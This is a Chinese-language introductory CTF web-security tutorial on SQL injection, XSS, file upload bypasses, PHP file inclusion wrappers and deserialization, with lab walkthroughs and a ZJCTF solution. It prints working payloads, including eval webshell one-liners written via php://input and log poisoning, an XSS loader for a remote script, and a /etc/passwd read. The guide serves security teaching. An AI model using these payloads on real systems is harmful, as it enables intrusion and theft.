0%

CTF-Web(渗透测试)入门指南

CTF-Web(渗透测试)入门指南

Author: l1ngfeng@zstu
Mail: l1ngfeng@outlook.com
Blog: http://0vv0.in


Intro


  • 如何去理解Web安全?
  • 哪里会存在Web安全问题?

Note:

开始前需要了解整个体系结构和涉及到的相关概念,理清概念可以更好地帮助我们理解web安全。


What is Web?

  • 诞生初期:Web静态页面,只是用于向用户单向展示一些信息

  • –信息展示的一种新方法(HTML)

  • 目前:综合Web应用程序,实现用户服务器之间双向的信息交换

  • –信息交换的工具

Note:

web广义上来讲就是万维网,往小了讲就是网页或者是因特网上某种类型计算机的程序。但是,要实现信息交换,就要遵循某种协议。


交换的协议?

  • TCP/IP
  • HTTP(Hypertext Transfer Protocol)
  • HTTPS(Hypertext Transfer Protocol Secure)

Note:

  • 目前计算机网络广泛使用的模型就是TCP/IP模型

  • HTTP协议处于TCP/IP协议体系的应用层

  • HTTPS比HTTP多了个SSL层,运用一些加密方法(RSA),可以让信息传输更加安全

从协议层开始,就有可能出现安全漏洞

2014年曾经出现过的心脏出血漏洞(CVE-2014-0160)

​ 使用OpenSSL加密程序库实现SSL的应用,都有可能会导致RCE

对于HTTP的1.1版本,还存在HTTP请求走私的问题

​ 该问题在2005年提出,2016年的DEFCON上扩充,2019年的BlackHat USA拓展了攻击面,提出了完整的利用过程

​ 简单说一下这个漏洞产生的原因吧,刚刚我们说过,目前计算机网络广泛使用的是TCP/IP参考模型,这个模型的本来的设计上可能没有缺陷,但是由于整个计算机网络都是分层的结构,之后的层都需要建立在上一层的基础上,依赖上一层提供的服务,并且所有应用都是要依赖于目前的分层结构的。随着信息技术的快速发展,为满足不断增加的用户需求,各种新技术也不断出现,在不断的功能扩充的过程中,之前或者是服务的设计缺陷就有可能显露出来,造成一些安全隐患。

CDN加速服务就能看成是一种功能扩充(03年出现),它是为了提升用户的浏览速度的同时减轻服务器的负担,举一个简单的实例来说明,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从反代服务器中就可以获取到,不用再从源站所在服务器获取。

​ 但是,由于两者服务器的实现方式不同,当我们向代理服务器发送一个比较模糊的HTTP请求时,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击,从而让攻击者可以进行绕过安全控制、获取其他用户请求、反射性XSS、缓存投毒等攻击行为。

​ 这里只是以这种攻击方法为例,让大家理解web安全的概念,了解web安全问题可能出现在哪些地方,对这种攻击方法感兴趣的话,可以参考上面引用的那篇文章,介绍的很详细。


常见的两种 HTTP 请求方法

  • GET
  • POST

Note:

​ 请求方法是web中最核心也是最基础的,一定要理解透彻。


GET方法

1
/get.php?name1=value1&name2=value2

Note:

​ 这是一个简单的get请求,?后跟我们的参数,用and符号加上第二个参数,这样就可以通过get方法为这个get.php传递所需要的参数。

​ 以下是GET方法的一些注释


  • GET 请求可被缓存
  • GET 请求保留在浏览器历史记录中
  • GET 请求可被收藏为书签
  • GET 请求不应在处理敏感数据时使用
  • GET 请求有长度限制
  • GET 请求只应当用于取回数据

Note:

​ 前三条都很好理解,因为通过GET方法传递的参数都是在URL里面的,可以把他当成一个URL来理解,所以当然就存在长度限制而且不能传递密码这些敏感数据了。


POST方法

1
2
3
4
POST /test/post.php HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
name1=value1&name2=value2

Note:

​ 跟上面的get方法不同的是,post传递过去的数据在url中是看不见的,一般修改post请求需要抓包改包,或者是构造html表单提交,常用到的工具有BurpSuite、火狐浏览器下面的扩展hackbar、Postman等等

​ 冒号前面的这个是header请求头,用来向服务器传达一些信息

请求头 描述
host 地址
content-type 数据的格式

​ 跟在第一行后面的是http的协议版本。

​ 此外还有一些额外的Header,在具体的题目中也可能用到,如下所示。


请求头

  • X-Forwarded-For
  • x-client-ip

Note:

​ 以上两个表示我们的来源IP,在题目中比较常见,下面也是一些常见的请求头。




Note:
以下是POST请求的一些注释。


  • POST 请求不会被缓存
  • POST 请求不会保留在浏览器历史记录中
  • POST 不能被收藏为书签
  • POST 请求对数据长度没有要求

Note:

​ 与上面的POST请求相对比也很好理解。

​ 当我们通过不同的请求方法请求发送过去之后,服务器肯定会给我们响应,返回数据,这个就是Responses。跟POST请求的格式类似,它也有header,用来告诉我们一些信息,这里不在举例。

​ 除此之外,还有一些其他的http请求方法,一些其他的方法也有可能因为配置不当造成安全隐患。

​ 很早之前的IIS写权限漏洞,由于权限配置的问题,使得攻击者可以利用PUT和MOVE方法,来创建恶意文件,修改拓展名,之后导致RCE。


服务

  • 服务是由应用提供的
  • 举个栗子:LNMP

Note:

​ 有了请求方法,总不能每次我们都用手来提交,这时候由应用提供的服务帮我们提交请求,进行数据交换。

​ 自己动手搭建过网站的同学肯定很熟悉,是一种常见的架构,如果没搭建过的话,也没关系,上面四个字母代表的具体意思就是下面这些应用的简称。


所以我们有了下面这些应用集合

  • Linux、Windows Server
  • Nginx HTTP and reverse proxy server、Apache HTTP Server Project、Tomcat …
  • MySQL、MSSQL、PostgreSQL、MongoDB …
  • PHP、JAVA、Node.js、ASP、ASPX …

Note:

​ 操作系统层面当然会存在安全漏洞,比如,对于Windows平台,最近的CVE-2019-0708、永恒之蓝SMB协议漏洞、Linux下各种权限提升,远程溢出等等。

​ Web服务中间件也会存在安全漏洞,比如各种Nginx、apache文件解析漏洞,Tomcat弱口令和Tomcat远程命令执行(CVE-2017-12615)等等。

​ 在一些情况下,我们还可以通过MySQL、SQL Server或者其他的一些数据库应用进行提权。

​ 代码层面呢,也是会存在问题的,比如PHP某些组件溢出的漏洞RCE,又或者是写代码的时候过滤不严,各种注入反序列化等等等。


说了这么多,回到主题

我们打开一个网页

Note:

​ 总之,我们从浏览器输入数据提交,会经过服务器的一系列处理,有的被带入数据库中保存下来(注册),有的会被带去数据库进行校验(登陆),还有的会被带入到命令行中进行执行,总之,经过了这么各种各样的操作,最后服务器又把结果返回给浏览器中,得到我们所看到的最后结果。正如刚刚所说的,一系列的安全问题也会出现在这个过程中。


上述集合是如何变成整体,提供服务的?

  • 开发、运维人员

Note:

​ 开发人员开发系统,运维人员&管理员来管理系统。

service

Note:

​ 安全问题存在于上面所有的应用中,除了应用之外,开发人员的一些疏忽也会导致安全问题,比如各种弱口令问题;又比如连同数据库配置文件的源码之间丢GITHUB上面;又或者是为了测试功能方便,搞个权限很大的测试账号系统上线忘记删掉。

​ 客服安全意识薄弱也一样,很久之前大众点评被黑,就是因为其域名注册商(新网)客服安全意识薄弱,黑阔查完目标域名的WHOIS信息,得到目标域名所有者的邮箱地址,然后去找客服哭诉,假装是目标站的管理员,说什么域名管理密码忘记了,是保存在工作单位电脑上面的,现在自己在外面出差,新业务要求马上上线,求帮忙解析一下域名,再不行伪造张邮件后台截图、或者直接伪造个邮件发过去,客服就傻乎乎信了,导致域名被恶意解析至别的服务器。


Web基础漏洞

Note:

​ 不要被这张图吓到了,咱们回到之前提到的协议和应用集合,这些所有的漏洞都是出现在应用上的(还有一些出现在协议上的),通过漏洞–具体应用这样的对应,就会再真正的渗透测试中理清思路,确定基本的渗透测试流程。


漏洞挖掘流程

挖洞思维导图

(图源水印)


0x00-信息搜集


  • robots.txt
  • .idea 文件夹
  • .git 文件夹
  • wwwroot.zip
  • __MACOSX & .DS_store

Note:

​ 把这些信息留在网站上,是就是由管理员的疏忽造成的。

​ 常见的可以供我们获得到信息的点,基本上就是上面几个,在前期对目标进行综合扫描的时候,运气好,就能扫得到,获取这些文件再加以利用,我们就可以得到网站源码,然后对其进行审计,从而进行下一步的渗透测试。

​ 好用的扫描工具:御剑、DirBuster….等等等等就不列出来了,反正是字典强,用着顺手就完事了,在进行测试的时候也要注意扩充自己的字典。

  • 对于git文件夹利用的话,一般使用githack(这里推荐一个好用的)
  • wwwroot.zip 或者www.zip 就是网站的备份文件
  • .DS_store是mac下的文件夹中默认存在的文件,用来存贮目录的自定义属性,得到它我们就可以获得目标的文件目录结构 ,在丢一个好用的ds_store_exp

其余的社工什么的就不说了 手法和思路太多了,题目中一般不常见,总之,进行收集信息的目的就是,可以帮助我们进行针对性的攻击。


0x01-SQL 注入


  • 通过在用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。

产生原因:程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句;编写代码时未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句


先来看个栗子

1
http://ctf.hzyxxl.com:12000/level1.php

  • 问题出现在这里
    1
    "SELECT * FROM secrets WHERE session_id = '" . session_id() . "'"
  • 看的不清楚,我们变一下
1
SELECT * FROM secrets WHERE session_id = 'xxx'

Note:

​ 这段sql语句,secrets是表名,session是字段名,意思就是从这个表中取字段等于xxx的出来,这里的.就是字符串拼接的意思,最终构造成一个完整的sql查询语句丢到数据库里面执行” . session_id() . “就是刚刚在前端我们输入的session id,由于他对我们输入的东西没有任何过滤,我们就可以通过闭合引号的方式,添加自己的sql语句进去。(这就是SQL注入的基本原理)


  • 怎么构造?
    1
    ' or 1='1
1
SELECT * FROM secrets WHERE session_id = '' or 1='1'

Note:

​ 把这里的xxx换成’ or 1=’1,由于1=’1’永真,所以数据库会返回给我们所有的secret,由于实际环境不太一样,所以闭合也是需要尝试的,有时候是双引号,有时候又是单引号,有时候不用闭合也可。但是在具体的渗透测试环境或是题目中,肯定不会这样出来白给的,一般会过滤掉一些关键字,不管是代码层过滤还是WAF。


常见的SQL注入方法


  • 布尔盲注 (boolean-based blind)
  • 时间盲注 (time-based blind)
  • 报错注入 (error-based)
  • 联合查询 (UNION query-based)
  • 堆叠注入 (stacked-queries)
  • OOB注入 (out of band)

布尔盲注

sqli-labs: Less-5

1
2
http://xxx.xxx/sqli-labs/Less-5/?id=1' and 1=1 %23
http://xxx.xxx/sqli-labs/Less-5/?id=1' and 1=2 %23
1
2
' and left(database(),1) = 'a' %23
' and left(database(),2) = 'sa' %23

Note:

​ 判断正确时,有一个回显,判断错误时,有另一个回显。

​ left(database(),1),database()显示数据库名称, left(a,b)从左侧截取 a 的前 b 位,以此类推,从库名到表名再到字段,用脚本实现,二分法猜解。


时间盲注

sqli-labs: Less-10

1
2
' and if(length(database())<0,1,sleep(10)) %23
' and if(ascii(substr(database(),1,1))>125,1,1),0,sleep(10)) %23
1
sleep()、get_lock()、benchmark()、mysql_pconnect()...

Note:

​ 时间盲注,相关函数有:sleep()、get_lock()、benchmark()、笛卡尔积…

​ 这里要注意的是,使用getlock进行盲注时,要在一个session中锁定变量,同时通过另外一个session执行,才能产生延时。

​ 当然也可以用rlike,regexp。先利用rpad或者是repeat构造长字符串再利用rlike正则匹配返回一列,通过控制构造的字符串长度控制时间。

​ 第一句:判断数据库名长度
​ 第二句:125为ascii码值,还是可以用二分法进行盲注


报错注入

sqli-labs: less-5

1
2
?id=1' Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+ #获取库名
?id=1′ and updatexml(1,concat(0×26,database(),0×26),1);–+

Note: 第一句首先是Floor报错,就是多次查询插入重复键值,导致count报错从而在报错信息中带入了敏感信息。

相关函数和含义:

函数名 含义
Count() 计算总数
Concat() 连接字符串
Floor() 向下取整数
Rand() 产生0~1的随机数

​ 这里,rand(0)序列是0110111.

​ 具体过程:查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。2. 查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2。3. 查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错。表中必须存在大于等于3条记录才会产生报错,如果rand被禁用,还可以通过自定义用户变量的方式 (限制每页展示多少行)也可用 @a:=(@a+1)%2
​ 除此之外,报错注入还有还有:

  • Xpath报错:updatexml():返回替换的XML片段,extractvalue()
  • 整形溢出报错:exp(x):计算e的x次方 and (EXP(~(select * from(select version())a)));Exp()超过710会产生溢出。将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。

堆叠注入

sqli-labs: less-38

1
?id=1';insert into users(id,username,password) values ('38','less38','hello')

Note: 从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。

​ 而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。

​ 我们用;分号 结束一个 sql语句后,继续构造下一条语句,与联合注入不同的是, union或者 union all 执行的语句类型是有限的,可以用来执行查询语句, 而堆叠注入可以执行的是任意的语句,进行增删改查操作。


常见过滤绕过方法&技巧

  • 双写绕过
  • 字符转换为16进制
  • SQL字符集特性
  • 弱类型转换
  • 异或
  • order by注入
  • 二次注入

Note:

  • 过滤-预编译,黑名单,比较low的过滤可以用双写绕过:selselectect。
    转换十六进制:如果表名和列名过滤了字符可以将其转换为16进制实现,前面带上0x。
  • sql字符集特性:对于utf8_unicode_ci字符集,不区分大小写,而且Ä=A,Ö=O,Ü=U等条件都成立,且ß=ss,对于utf8_general_ci字符集,ß=s。
  • 弱类型转换:先来看这样一个查询语句select * from student where name=1;为什么可以被查询呢,因为name会被转换成数字和1比较,而MySQL的默认转换和PHP的转换类似,找到第一个不为数字的字符就结束。利用这个特性我们可以进行一些查询判断。
  • 有些地方是基于异或运算的,根据同0异1,我们可以把我们的注入语句添加到异或运算中,通过返回的真假来进行判断,比如这样:1^0^1 ,把0进行替换,1^(ascii((select(xxx)from(xxx)),1,1)>123)^1,用类似盲注的方法进行二分猜解
  • 二次注入问题,会把原来存进去(存的时候可能有预编译)的数据读出来(没有经过过滤和预编译),经过拼接之后当作SQL语句执行(常见于修改操作)

Reference

1
2
3
BUUCTF sql注入靶场1&2
http://sqlmap.org/
http://www.sqlinjection.net/

Note:

​ 注入方法常见的就是上面这些,手工注入费事费力,当然也可以自写脚本或者是直接上SQLMAP。


0x02-XSS


  • 向WEB页面里插入恶意HTML代码,当用户浏览该页之时,嵌入其中Web里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

产生原因:程序编写者未对用户提交的数据进行过滤就显示在页面上

Note:

​ 我们将包含恶意代码的链接发给管理员或者其他用户,就能获取到其cookie,从而进入后台或接管其账号。现代的浏览器虽然会对一些XSS代码进行过滤,比如Chrome XSS Auditor bypass,但是这些过滤也很鸡肋,也是可以绕过的。


还是先来看个栗子

1
http://test.ctf8.com/level1.php?name=test

Notes:

​ 这里是一个反射型XSS的例子。我们发现,这里通过get的形式传递过去了一个参数name,首先来看一下源代码。我们来尝试修改一下,

1
<font color="#000080">我变色了!</font>

​ 看到页面改变了,但是很奇怪,没有显示出来我们的name,查看一下源代码
这是由于有些参数被当作其他的一些东西解析了,丢失了后面的标签。
​ 我们来进行一下url编码

1
%3cfont+color%3d%22%239CA8B8%22%3e%e6%88%91%e5%8f%98%e8%89%b2%e4%ba%86%3c%2ffont%3e

​ 再把它传递过去,就可以执行成功了。

​ 最后,我们来替换成JS代码,就可以通过这一关了。

1
<script>alert(1)</script>

常见XSS类型

  • 反射型XSS

  • 存储型XSS

  • DOM型XSS


反射型XSS

  • XSS代码在URL中,当用户点击URL的时候,XSS代码随响应内容一起传回给浏览器。
    1
    http://www.abc.com/?params=<script>alert(/xss/)</script>
    Notes:

​ 也就是说PAYLOAD存储在URL中。


存储型XSS

  • XSS代码存储在服务器中,只要有用户访问包含XSS代码的页面,就会触发XSS代码

Notes:

​ 比如贴吧回帖,插入了XSS代码进去,大家打开你的帖子就会出发你的代码,也就是PAYLOAD保存在了服务器上。


DOM型XSS

  • 修改页面的DOM节点,利用非法输入来闭合对应的html标签

    img

Notes:

​ DOM( Document Object Model,文档对象模型 ) 是通过使用 JavaScript 代码从服务器 ( 源代码 ) 接收到的 HTML 文档上构建的结果程序。 这里localStorage是数据来源,innerHTML是接受并执行,这里提一下这种类型,具体可以在下面的参考中自行去学习。


Payloads

1
2
3
4
5
6
><script>alert(document.cookie)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='your eval jsurl';>
...

Notes:

​ 这个尖括号指的是,闭合上一个标签,从而让我们的script标签可以在浏览器中解析
例题2:
http://test.ctf8.com/level2.php
​ 最简单的闭合标签


常见过滤绕过方法&技巧

  • 有WAF?编码、编码、再编码
  • XSS过滤绕过速查表

Notes:

​ HTML编码字符集,将字符转化成其相应的编码后的结果,用于绕过waf


Reference

1
2
3
4
5
6
7
8
9
10
11
12
HTML编码字符集:
https://www.w3.org/MarkUp/html-spec/html-spec_13.html
Chrome XSS Auditor bypass:
https://paper.seebug.org/376/
XSS过滤绕过速查表:
https://www.freebuf.com/articles/web/153055.html
DOM Based XSS:
https://www.owasp.org/index.php/DOM_Based_XSS
XSS挑战
http://test.ctf8.com/
存储型XSS攻防
https://www.freebuf.com/vuls/217092.html

0x03-文件上传


  • 现代网站不可避免地要对网站的某些页面或者内容进行更新,这时便需要使用到网站的文件上传的功能。通过一些限制绕过手段,上传可执行文件,达到攻击效果

    产生原因:不对被上传的文件进行限制或者限制被绕过

Note: 这个概念是很好理解的,文件上传功能也很常见。


工具介绍

  • 中国菜刀
  • 蚁剑

Note: 用于管理我们的webshell,使用工具的目的呢,首先是为了简化我们的操作,减轻我们的负担,知道原理的前提下,直接用工具一把梭就完事了。


直接对照源码分析

1
2
Upload-labs
https://buuoj.cn/challenges#upload-labs
img

常见上传绕过方法

  • .htaccess

    1
    2
    3
    4
    5
    6
    <Files ~ "^.(htaccess|htpasswd)$">
    deny from all
    </Files>
    Options +Indexes
    order deny,allow
    SetHandler application/x-httpd-php
  • .user.ini

    1
    auto_prepend_file=code.png

Note:
基础的比如修改Content-type、大小写绕过、00截断、双写绕过、文件解析漏洞什么的,可以做一做上面提到的那个文件上传靶场,很快就可以掌握。

​ 这里来说说这两个点

  • .htaccess

    前提条件:apache
    .htaccess:分布式配置文件,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,我们可以通过上传这个文件从而对目录下文件的解析方法进行控制,如何进行利用呢?
    SetHandler application/x-httpd-php
    主要是这一行,在头上加这个,就会把当前目录下的所有文件当作php文件来执行
    具体看下这个第四关,首先来看源码

  • .user.ini

    前提条件:fastcgi运行的php
    .user.ini实际上就是一个可以由用户“自定义”的php.ini,而且.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
    这个配置项有很多很多,我们来列举其中的一个,类似文件包含:
    auto_prepend_file=code.png
    首先上传一个图片马,然后获取其相对路径,修改上面这句配置,加到.user.ini中,上传这个ini文件这样我们可以借助.user.ini让所有php文件都“自动”包含我们的一句话的webshell。


Reference

1
各种Upload-lab通关笔记

Note:

​ 网上各种通关笔记讲的很详细了,这里就不浪费大家时间了,下去大家对着通关笔记来刷题就好了


0x04-文件包含


  • 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,以节省开发时间。

产生原因:文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

Note:

​ 文件包含,故名思意,就是包含了个文件。通过文件包含漏洞,可以读取系统中的敏感文件,源代码文件等。文件包含有本地文件包含和远程文件包含( allow_url_fopen 开启时)两类


  • PHP常见文件包含函数
    1
    2
    3
    4
    require()
    require_once()
    include()
    include_once()

  • 可利用的还有这些
1
2
3
4
5
6
highlight_file()
show_source()
readfile()
file_get_contents()
fopen()
file()

Note:

​ 进行代码审计的时候要额外注意以上几个函数,有没有可能引起文件包含漏洞。


又是个栗子

1
2
3
4
5
<?php
$filename = $_GET['filename'];
include($filename);
highlight_file(__FILE__);
?>

Note:

​ 这就是最简单的本地文件包含的例子,通过它,可以读取到本机的文件,获得一些敏感数据,这些又有什么用呢,只能读取东西,其实不然,我们接着往下看,在一些情况下,可以通过文件上传或者其他操作打出组合拳来RCE。


首先,让我们来说说伪协议

Note:
伪协议能干什么呢,通过它可以读取网页源码或者是服务器本地的文件,在一些环境下还可能造成RCE。


常见的伪协议

  • php://filter
1
2
?filename=php://filter/convert.base64-encode/resource=lfi.php
?filename=php://filter/read=convert.base64-encode/resource=lfi.php
  • php://input
1
2
url: ?filename=php://input
POST: <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[xx])?>');?>

Note:

​ php内置的封装协议有很多,这里说几个常用的,其他的大家可以参考官方文档

  • php://filter

    ​ 使用条件:
    allow_url_fopen :off
    allow_url_include:off
    ​ 这里转化成Base64编码的原因是,包含进来的内容会被当做代码执行掉,导致看不到源码。

  • php://input

    ​ 使用条件:
    allow_url_include:on
    ​ 碰到file_get_contents()函数可以用php://input来绕过,可以POST数据过去。

​ 其他的php://stdin、 php://memory 和 php://temp 需要开启allow_url_include

​ 此外,在同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以RCE了,访问第二个代码段中的url,然后post这段数据过去,即可在当前目录下写入一句话木马的PHP代码,同理,修改一下post过去的数据,还可以实现远程命令执行 system()函数。


  • file://

    1
    ?filename=file:///etc/passwd
  • zip://, bzip2://, zlib://

    1
    2
    3
    4
    5
    6
    zip://
    ?filename=zip://www/file.jpg%23code.txt
    bzip2://
    ?filename=compress.bzip2://./code.jpg
    zlib://
    ?filename=compress.zlib://./code.jpg
  • data://

    1
    2
    3
    ?filename=data:text/plain,<?php phpinfo()?>
    ?filename=data://text/plain,<?php phpinfo()?>
    ?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

    Note:
    file://使用条件,注意这里有三个斜杠,表示分别表示协议和路径
    allow_url_fopen :off
    allow_url_include:off

​ zip://, bzip2://, zlib:// 均属于压缩流,双off
allow_url_fopen :off
allow_url_include:off

​ 通过此协议,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,就是所有的后缀名他都当作zip来进行操作。

​ 使用方法:zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
compress.bzip2://file.bz2
compress.zlib://file.gz

​ data://使用条件:双on条件


  • phar协议

    1
    2
    3
    php专属的压缩文档。可以把多个文件归档到同一个文件中
    而且不经过解压就能被 php 访问并执行
    与file:// php://等类似,也是一种流包装器
  • phar结构组成

    1
    2
    3
    4
    stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
    manifest 压缩文件的属性等信息,以序列化存储;
    contents 压缩文件的内容;
    signature 签名,放在文件末尾;

    Note:

phar结构由 4 部分组成

​ 这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。这个协议不仅在文件包含中可以用到,在反序列化中也很重要。

phar协议的参考文章:

https://xz.aliyun.com/t/2715


文件包含漏洞的利用思路&方法


  • 伪协议
  • 文件上传
  • 包含日志文件
  • SESSION包含
  • 具体的CMS设计缺陷

Note:

​ 低版本,可以通过00截断来绕过一些过滤。
​ 其次首先就是刚刚说到的伪协议。

​ 如果目标站点存在上传点和文件包含点,而且过滤严格,只能上传图片文件,我们可以通过上传并且包含图片马的方式来getshell。

​ Apache,Nginx如果开启了日志记录,那我们可以通过控制日志的内容,然后包含日志文件进行getshell。

​ 备份功能的话,还是看目标站点,具体环境具体操作就行了

​ 回到我们开头那个例子,我们来试试RCE

​ 修改用户UA为一句话木马:

1
<?php eval(@$_POST['a']); ?>

​ 因为UA会被记录到日志文件中去,从而控制了日志文件的内容,最后包含日志文件getshell。

1
http://xxx/ctf/lfi.php?filename=/www/log/xxx.log

​ 除此之外还有session包含之类思路,跟包含日志文件类似。


Reference

1
2
3
4
PHP官方文档-支持的协议
https://www.php.net/manual/zh/wrappers.php
文件包含漏洞:
https://www.freebuf.com/articles/web/182280.html

0x05-反序列化


什么是反序列化?

  • 要回答这个问题,得先知道序列化

Note:

​ (这里首先介绍PHP反序列化)为方便PHP 对象传递。在一段php执行完毕之后,过程中产生的所有对象都会被销毁,不利于其他页面php对对象的使用, PHP 的序列化可以实现保存对象的功能,其他页面使用到的时候只需要调用一下反序列化函数就可以了。


序列化

  • 相关函数
    1
    2
    serialize()     //对象->字符串
    unserialize() //字符串->对象

  • 序列化
1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class cls
{
private $flag = "flag{gogogo}";
public $a = "aaa";
static $b = "bbb";
}

$cls = new cls;
$data = serialize($cls);
echo $data;
?>

  • 运行结果
    1
    O:3:"cls":2:{s:9:"clsflag";s:12:"flag{gogogo}";s:1:"a";s:3:"aaa";}
  • 含义
    1
    2
    3
    O:指Object(对象),3:长度为3个字符:cls为对象名
    :2对象属性个数为2
    大括号里面同理,为属性字符长度与属性值
    Note:

​ 这里我们要注意的是,clsflag长度为7,但是却显示9,这是因为因为它是private属性,根据官方文档的说明,序列化时会对私有属性的两侧加入空字节,url编码即为%00,在传入序列化字符串进行反序列化时,需要注意补齐两个空字节。


  • 反序列化
1
O%3a3%3a%22cls%22%3a2%3a%7bs%3a9%3a%22%00cls%00flag%22%3bs%3a12%3a%22flag%7bgogogo%7d%22%3bs%3a1%3a%22a%22%3bs%3a3%3a%22aaa%22%3b%7d
  • 特殊属性进行反序列化时的格式
    1
    2
    %00类名%00属性名 -- private
    %00*%00属性名 -- protected
    Note:

​ 将序列化后得到的字符串进行url编码之后,得到上面的结果,要注意的是,特殊属性进行反序列化时要加上上述格式,这个是php语言规定的。


1
2
3
4
5
6
<?php 
$str = 'O%3a3%3a%22cls%22%3a2%3a%7bs%3a9%3a%22%00cls%00flag%22%3bs%3a12%3a%22flag%7bgogogo%7d%22%3bs%3a1%3a%22a%22%3bs%3a3%3a%22aaa%22%3b%7d';
$data = urldecode($str);
$obj = unserialize($data);
var_dump($obj);
?>
  • 运行结果
1
2
3
4
5
6
7
8
object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(3) "cls"
["flag":"cls":private]=>
string(12) "flag{gogogo}"
["a"]=>
string(3) "aaa"
}

Note:

​ 将序列化后的结果进行反序列化,得到了目的对象,这样就完成了一次反序列化操作。


漏洞成因

  • 在反序列化函数接受的参数可控的情况下,我们可以通过构造属性值,来控制类中的方法的执行。

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__construct()
__destruct()
__call()
__callStatic()
__get()
__set()
__isset()
__unset()
__sleep()
__wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debugInfo()

Note:

​ 上面的方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。
具体解释参照官方文档,我会在下面的参考中给出。


重点关注的几个魔术方法

  • __sleep()
    1
    对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
  • __wakeup()
    1
    预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
  • __toString()
    1
    用于一个类被当成字符串时应怎样回应。

一道题目

1
http://120.79.33.253:9001/

Note:

​ 这里直接看这段if语句,相等返回flag,我们要做的就是要构造出这个序列化之后得到的字符串,丢给反序列化函数去处理。
我们可以写段简单的序列化代码来处理一下:

1
2
3
4
5
<?php 
$a='D0g3!!!';
$data = serialize($a);
echo $data;
?>

​ 得到如下字符串:s:7:”D0g3!!!”;

​ 只要把这个值传递过去就可以得到flag了,这就是最基础的一道反序列化的例子。


来一道难一点的

1
http://ctf.hzyxxl.com:8000/challenges#%E9%80%86%E8%BD%AC%E6%80%9D%E7%BB%B4

Note:

​ 这是一道ZJCTF2019的一道文件包含加反序列化题目。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

1.满足if语句

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

Note: 函数file_get_contents()可以使用我们刚刚讲过的data://直接绕过,将“welcome to the zjctf”url编码后,将如下值赋给text

1
data://text/plain,welcome%20to%20the%20zjctf

由于preg_match(“/flag/“,$file),对flag进行了正则匹配,所以不能直接包含flag.php


2.按照提示,包含useless.php

1
2
text=data://text/plain,welcome%20to%20the%20zjctf
file=php://filter/read=convert.base64-encode/resource=useless.php
image.png

Note:

​ base64解码 得到useless.php源码如下(这里是赛后复原的题目,可能源码与真正比赛有所出入)


1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

Note:

​ 这里看到了刚刚说过的__tostring()这个魔术方法,我们要想办法控制这个file。


3.构造序列化对象

1
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

Note:

​ 构造参数password的值

​ 序列化字符串如下,它是Flag类,字符串变量file=flag.php,这里都是公有的属性,就不需要额外控制格式了。


Payload:

1
http://xxx/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

附加题

1
http://web.jarvisoj.com:32784/index.php

Note:

